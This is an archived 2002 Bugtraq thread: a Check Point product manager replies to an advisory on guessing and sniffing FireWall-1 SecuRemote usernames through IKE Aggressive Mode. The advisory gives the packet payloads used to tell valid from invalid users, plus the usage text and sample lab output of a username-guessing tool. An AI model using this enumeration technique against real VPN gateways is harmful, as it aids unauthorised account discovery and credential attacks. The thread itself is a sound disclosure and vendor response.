Bugtraq mailing list archives

RE: SecuRemote usernames can be guessed or sniffed using IKE exchange


From: "Scott Walker Register" <scott.register () us checkpoint com>
Date: Thu, 5 Sep 2002 12:01:09 -0400

Check Point Statement on use of IKE Aggressive Mode:

A document has recently been published alleging vulnerabilities in the Check
Point VPN-1/FireWall-1 product, involving the use of SecuRemote/SecureClient
and IKE Aggressive mode.  Check Point does not recommend the use of IKE
Aggressive Mode, because of many well-known limitations in the protocol, and
the Check Point products offer much more secure alternatives.

In the vulnerability claim document, two issues were presented:
  1) usernames are passed in cleartext using IKE Aggressive Mode
  2) usernames are susceptible to brute-force guessing when using IKE
Aggressive Mode

The first item is merely an accurate description of the IKE protocol. Check
Point has no bug or vulnerability, but has correctly implemented the IKE
standard for Aggressive Mode.  The passing of usernames in cleartext is
common to any vendors of IKE products who support Aggressive Mode.  The
claim of a vulnerability is incorrect.

Because of such well-known weaknesses in the IKE Aggressive Mode standard,
Check Point authored and published an extension called Hybrid Mode which
allows the secure use of all supported authentication schemes (e.g., RADIUS
or TACACS) without sending usernames in cleartext.  This extension has been
incorporated in the product since the 4.1 SP1 release (February 2000), with
hybrid mode recommended over Aggressive Mode for enhanced security.

The second item exists only in VPN-1/FireWall-1 v4.1 modules which are still
configured to support SecuRemote/SecureClient connections using IKE
Aggressive Mode, despite the availability of more secure options in the
product.  Note, again, that the guessable usernames in this scenario are, by
design of the IKE protocol, sent in cleartext.  By default, Aggressive Mode
is not enabled in NG.  In 4.1, the recommended configuration is to disable
Aggressive Mode and use Hybrid Mode instead (which involves no change to the
user experience).

This information, and any subsequent updates, will be posted to
www.checkpoint.com/techsupport/alerts .

-SwR

Scott Walker Register
FireWall-1 Product Manager
Check Point Software Technologies, Inc.
ph: 561.989.5418  fax: 561.997.9392


-----Original Message-----
From: Roy Hills [mailto:Roy.Hills () nta-monitor com]
Sent: Tuesday, September 03, 2002 7:09 AM
To: bugtraq () securityfocus com
Subject: SecuRemote usernames can be guessed or sniffed using IKE
exchange


SecuRemote usernames can be guessed or sniffed using IKE exchange

Introduction:
-------------

While performing a VPN security analysis for one of our
customers, I discovered
a potential issue with Firewall-1 SecuRemote IKE which can allow
usernames
to be guessed.
I also observed the related issue that the SecuRemote IKE usernames are
passed in the clear
which allows them to be discovered by network sniffing.

Full details of this issue are available at:

http://www.nta-monitor.com/news/checkpoint.htm

Issue summary:
--------------

Firewall-1 versions 4.0 SP 7, 4.1 SP2, 4.1 SP6, NG Base, NG FP1
and NG FP2
allow
username guessing using IKE aggressive mode.  I have only tested against
the specific
versions shown but I suspect that the issue affects all versions from 4.0
to NG FP2.

Note that 4.1 SP2 and NG FP1 are ITsec E3 certified versions of
Firewall-1
when used in
the appropriate configuration.

When presented with a username in an appropriately formatted IKE
aggressive
mode packet,
the Firewall will respond differently depending on whether the
username is
valid or not.  This
allows usernames to be guessed using a dictionary attack.  Versions up to
NG base also provide
additional information about accounts that exist but are not
valid for IKE
for some reason; NG
FP1 and FP2 do not provide this extra information although they still
indicate if the user is valid
or not.

Checkpoint and CERT have been informed of this issue.


Configuration:
--------------

Firewall is Firewall-1 v4.1 SP6 VPN+DES+STRONG on Windows NT
Server 4.0 SP6a
using local user database (not using LDAP; no "generic*" user).

I have also confirmed the issue on Firewall-1 4.0 SP7, NG Base,
NG FP1 and
NG FP2.  All
running on Windows NT.

Client is Debian Linux 3.0 ("woody") with 2.4.18 kernel running
proprietary
IKE username guessing
program which was written in C.


Issue Details:
--------------

If we send an IKE Phase-1 aggressive mode packet with the
following payloads:

a) ISAKMP Header
b) SA - Containing one proposal with four transforms
c) Key Exchange - DH Group 2
d) Nonce
e) Identification - Type ID_USER_FQDN, Value is SecuRemote username

The Firewall will either send back an IKE notification message indicating
that the user is not
valid in some way, or it will respond with an aggressive mode packet
indicating that the user
exists and is valid.  This is contrary to accepted security
practice not to
indicate if
credentials are valid until all credentials have been supplied,
and in the
event that credentials
are not valid, not to indicate which credentials are in error.

Below is the usage message from the program that was used to generate the
examples
so you can understand the options being used:

rsh@radon$ fw1-ike-userguess --help
Usage: fw1-ike-userguess [options] <hostname>

<hostname> is name or IP address of Firewall.

Options:

--file=<fn> or -f <fn>  Read usernames from file <fn>, one per line.
--help or -h            Display this help message and exit.
--id=<id> or -i <id>    Use string <id> as SecuRemote username.
--sport=<p> or -s <p>   Set UDP source port to <p>.  Default 500.
 0=random.
--dport=<p> or -d <p>   Set UDP dest. port to <p>.  Default 500.
--timeout=<n> or -t <n> Set timeout to <n> ms.  Default 2000.
--random=<n> or -r <n>  Set random seed to <n>.  Default is based on time
                         Used to generate key exchange and nonce data.
--version or -V         Display program version and exit.
--idtype=n or -y n      Use identification type <n>.  Default 3
(ID_USER_FQDN)
                         For Checkpoint SecuRemote VPN, this must
be set to 3.
--dhgroup=n or -g n     Use Diffie Hellman Group <n>.  Default 2
                         Acceptable values are 1,2 and 5 (MODP only).

fw1-ike-userguess version 1.2 2002-08-30 <Roy.Hills () nta-monitor com>

Example 1: This example which shows the username guessing program
being run
against a
Firewall-1 v4.1 SP6 system:

Script started on Thu Aug 22 15:15:30 2002
rsh@radon [499]% fw1-ike-userguess --file=testusers.txt --sport=0
172.16.2.2
testuser        User testuser unknown.
test-ike-3des   USER EXISTS
testing123      User testing123 unknown.
test-ike-des    USER EXISTS
guest   User guest unknown.
test-fwz-des    User cannot use IKE
test-ike-cast40 USER EXISTS
test-ike-ah     USER EXISTS
test-ike-hybrid IKE is not properly defined for user.
test-expired    Login expired on 1-jan-2002.
rsh@radon [500]% exit
Script done on Thu Aug 22 15:15:50 2002

In this example, the users "test-ike-3des", "test-ike-des",
"test-ike-cast40" and "test-ike-ah"
exist and have valid IKE configurations with shared secret auth;
the users
"testuser", "testing123"
and "guest" do not exist; and the users "test-fwz-des", "test-ike-hybrid"
and "test-expired" exist
but cannot use IKE for various reasons which are explained in the
Firewall
message.

Example 2: This example shows Firewall-1 NG FP2:

rsh@radon [502]% fw1-ike-userguess --file=testusers.txt --sport=0
192.168.124.150
testuser        Notification code 14
test-ike-3des   USER EXISTS
testing123      Notification code 14
test-ike-des    USER EXISTS
guest   Notification code 14
test-expired    Notification code 14
rsh@radon [503]% exit
Script done on Tue Aug 20 17:28:08 2002

In this example, users "test-ike-3des" and "test-ike-des" exist and have
valid IKE configurations
with shared secret auth;  the users "testuser", "testing123" and "guest"
don't exist; and the user
"test-expired" exists but has expired.

With NG FP2, the Firewall does confirm if the user is valid or
not, but it
doesn't give additional
information about why a user is not valid, but instead responds with
notification code 14 which
is defined in RFC 2408 section 3.14.1 as "NO-PROPOSAL-CHOSEN".  However,
the basic issue
remains.

Solutions
---------

There is no simple "one click" solution or workaround.

However, using certificates rather than usernames and passwords for VPN
authentication
will address both the sniffing and username guessing issues.  Also, using
Firewall-1 Hybrid
authentication with a strong authentication server such as SecurID will
make username guessing
or sniffing less of an issue because the password is virtually impossible
to guess.


Roy Hills

Technical Director
NTA Monitor Ltd
--
Roy Hills                                    Tel:   +44 1634 721855
NTA Monitor Ltd                              FAX:   +44 1634 721844
14 Ashford House, Beaufort Court,
Medway City Estate,                          Email:
Roy.Hills () nta-monitor com
Rochester, Kent ME2 4FA, UK                  WWW:
http://www.nta-monitor.com/


Current thread: